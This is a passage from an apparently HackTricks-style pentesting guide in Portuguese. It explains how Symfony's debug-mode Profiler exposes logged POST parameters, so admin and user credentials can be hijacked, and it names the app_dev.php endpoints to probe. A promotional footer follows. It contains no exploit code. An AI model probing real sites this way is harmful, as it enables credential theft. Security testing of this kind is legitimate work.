O framework Symfony em si é muito seguro, mas habilitar o modo de depuração tornará este framework extremamente vulnerável. Por exemplo, o Profiler tem um recurso chamado Profile Search, como na captura de tela a seguir.
|
|
|
|
|
|
|
|
Como você vê na captura de tela acima, você pode acessar todas as requisições enviadas ao servidor. Clicando nos hashes no token, você verá que todos os parâmetros POST podem ser lidos, como visto na captura de tela a seguir. Com este recurso, podemos sequestrar as credenciais de contas de administradores e usuários.
|
|
|
|
|
|
|
|
### Outros Endpoints com Depuração Habilitada
|
|
|
|
Você também deve verificar estes URLs:
|
|
|
|
* **https://example.com/app\_dev.php/\_profiler**
|
|
* **https://example.com/app\_dev.php**\\
|
|
|
|
## Referências
|
|
|
|
* [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
|
|
* [**https://flattsecurity.hatenablog.com/entry/2020/11/02/124807**](https://flattsecurity.hatenablog.com/entry/2020/11/02/124807)
|
|
* [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|